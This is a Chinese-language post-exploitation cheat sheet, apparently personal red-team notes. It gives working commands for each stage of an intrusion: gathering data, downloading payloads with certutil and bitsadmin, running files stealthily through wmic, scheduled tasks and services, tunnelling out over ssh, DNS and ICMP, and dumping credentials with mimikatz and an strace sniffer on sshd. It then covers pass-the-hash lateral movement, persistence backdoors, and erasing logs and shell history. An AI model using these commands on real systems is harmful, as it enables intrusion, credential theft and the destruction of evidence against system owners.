前言
本文主要对一些有用常用的但不太基础的内容作以记录
信息收集
Chrome浏览器信息
历史记录
%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\History
微信文件
枚举微信账户接受的文件
dir /s /b C:\Users\l\Documents\"wecat Files"\ | findstr FileStorage\File
枚举接受过的图片
dir /s /b %userprofile%\Documents\"Wechat Files"\ | findstr .jpg
数据库信息收集
MySQL
获取表结构
select concat(TABLE_SCHEMA,'.',TABLE_NAME),COLUMN_NAME,COLUMN_TYPE,COLUMN_COMMENT from information_schema.`COLUMNS` where table_schema not in ('performance_schema','mysql','sys','information_schema');
获取数据量
select concat(table_schema,'.',table_name),table_rows,table_comment from information_schema.tables where table_schema not in ('performance_Schema','mysql','sys','information_schema') order by table_rows desc;
查找包含特定字段的表
SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME IN ('pass', 'pwd', 'password', 'passwd', 'secret') AND TABLE_SCHEMA NOT IN ('information_schema', 'mysql', 'performance_schema', 'sys') ORDER BY TABLE_SCHEMA, TABLE_NAME;
数据分析
利用everything,不支持文档
D:\*.txt content:密码
利用powerGREP,支持文档。
文件下载
curl
curl -O https://example.com/file.zip
powershell
powershell -Command "Invoke-WebRequest -Uri 'https://example.com/file.zip' -OutFile 'file.zip'"
bitsadmin(新版弃用)
bitsadmin /transfer mydownload /download /priority high https://example.com/file.zip C:\path\to\save\file.zip
certutil
certutil -urlcache -split -f https://example.com/file.zip C:\path\to\save\file.zip
执行文件
通过wmic,父进程为wmiprvse.exe,可以避免进程链分析
wmic process call create "D:\test.exe"
通过几乎任务,/ru 参数可以指定用户,不指定则以当前用户。
schtasks /create /sc once /sd 2024/10/10 /st 12:00 /tn mytaskname /tr "D:\test.exe"
手动拉起执行
schtasks /run /tn mytaskma,e
删除计划任务
schtasks /end /tn mytaskname
schtasks /delete /tn mytaskname /f
通过系统服务执行文件,需要管理员权限
sc create sname binpath="D:\t.exe" displayname="sname"
启动
sc start sname
删除
sc delete sname
linux反弹shell使用可交互命令
python -c 'import pty;pty.spawn("/bin/bash")'
通过NTFS交换数据流执行文件
利用DLL执行文件
powershell绕过AMSI,利用脚本关闭AMSI
利用explorer执行文件
explorer D:\1.exe
将可执行文件打包成msi执行
使用regsvr32下载并执行文件
隧道搭建
出网判断
tcp udp icmp http https
dns
在Windows中
nslookup www.a.com 100.100.100.100
在Linux中
dig @100.100.100.100 www.a.com
多级代理--stowaway
vps:1.1.1.1
./admin -l 1111 -s s
内网A主机A: 2.2.2.2
./agentA -c 1.1.1.1:1111 -s s
在A主机使用agent开启监听:
./adminA -l 2222 -s s2
内网B主机B:3.3.3.3
./agentB -c 2.2.2.2:2222 -s s2
ssh搭建socks5隧道
vps:1.1.1.1
内网主机A:2.2.2.2
将内网主机的ssh映射到VPS的1022端口
ssh -C -f -N -g -R 1022:127.0.0.1:22 root@1.1.1.1
搭建隧道10800端口
ssh -C -f -N -g -D 10800 root@127.0.0.1 -p 1022
openvpn
v2ray
goproxy
iodine(dns)
pingtunnel(icmp)
vps:1.1.1.1
./pingtunnel -type server -noprint 1 -nolog1
内网主机A:2.2.2.2
pingtunnel -type client -l :1080 -s 1.1.1.1 -sock5 1 -noprint 1 -nolog 1
凭据获取
Windows
mimikatz
离线导出SAM
reg save HKLM\SYSTEM %temp%\system.hiv
reg save HKLM\SAM %temp%\sam.hiv
mimikatz log privilege::debug "lsadump::sam /system:system.hiv /sam:sam.hiv" exit
使用secretsdump远程抓取
LSASS转储
使用SharpDecryptPwd抓取密码
使用SSMSPwd抓取mssql ms保存的密码
浏览器密码:
WebBrowerPassView
HackBrowserData
sgarp-HackBrowerData
BrowserGhost
Linux
利用ssh后门记录密码
利用strace
首先安装strace:yum install -y strace
然后执行命令:
strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &
等管理员登录后可以使用下面命令进行查看密码:
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
权限提升
Windows
bypassuac
烂土豆
CVE
Linux
dirtycow
dirty_sock (ubuntu)
cve-2019-13272
sudo-cve-2021-3156 , sudo 1.8.2-1.8.31p2 1.9.0-1.9.5p1
polkit-cve-2021-4034
overlayfs-cve-2021-3493(ubuntu)
dirtypipe-cve-2022-0847
横向移动
建立IPC,创建服务
net use \\192.168.1.1 /u:test\admin 123456
sc \\192.168.1.1 create service1 bindpath="D:\beacon.exe" start=auto
sc \\192.168.1.1 start service1
利用WMI
ports: 135 445 49154
tools:wmiexec.py wmihacker wmic crackmapexec psexec
python wmiexec.py test/admin:123456@192.168.1.1 -codec gbk
python wmiexec.py test/admin@192.168.1.1 -hashes:c780xxxxxxx -codec gbk
cscript wmihacker.vbs /shell 192.168.1.1 test/admin 123456
cme smb 192.168.1.1 -d test.com -u admin -H c780xxxxxxxx --codec gbk -x whoami
psexec.exe \\192.168.1.1 -u test\admin -p 123456 cmd
利用5985端口 WinRM
在攻击鸡中执行下面命令,以便开启服务并设置信任主机
winrm quickconfig -q -force
powershell -c "Set-Item wsman:\localhosts\Client\TrustedHosts -value *"
在远程主机执行:
winrs -r:http://192.168.1.1:5985 -u test\admin -p:123456 "cmd.exe /c whoami"
使用cme
cme winrm 192.168.1.1 -d test.com -u admin -H c780xxxxxxxxxxxxxxx -x whoami
ms17-010
中间人攻击
Responder
mysql udf提权,UDF(user defined function,用户自定义函数) ,需要root权限 可写文件
mssql xp_cmdshell wscript.shell sp_oacreate CLR(Common Language Runtime,公共语言运行时),使用SharpSQLTools
redis
权限维持
Windows
后门账户
系统服务
services.msc
任务计划,可通过替换已存在的但是不常用的任务计划,以达到更隐蔽的效果
WMI
注册表
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
自启动目录
win7及以上:
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
所有用户有效:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
shift后门
驱动程序,Easy File Locker
Linux
crontab
配置服务
ssh密钥免密登录
OpenSSH 万能密码后门
suid后门
痕迹清理
Windows
系统日志
进程创建日志
更改文件修改时间
修改文件属性为隐藏
致盲Sysmon
Linux
登录时隐藏 :ssh -T root@1.1.1.1 /bin/bash -i
在连接ssh时不将公钥指纹保存到.ssh/known_hosts文件中: ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null user@hostname
当前会话禁止记录历史命令:
export HISTSIZE=0
export HISTFILESIZE=0
history -c
history -w
清理登录日志
sed -i '/1.1.1.1/'d /var/log/btmp
sed -i '/1.1.1.1/'d /var/log/lastlog
sed -i '/1.1.1.1/'d /var/log/wtmp
sed -i '/1.1.1.1/'d /var/log/message
更改文件修改时间
touch -r 参照哪个文件的时间 需要修改文件的时间
touch -r /etc/passwd /tmp/myfile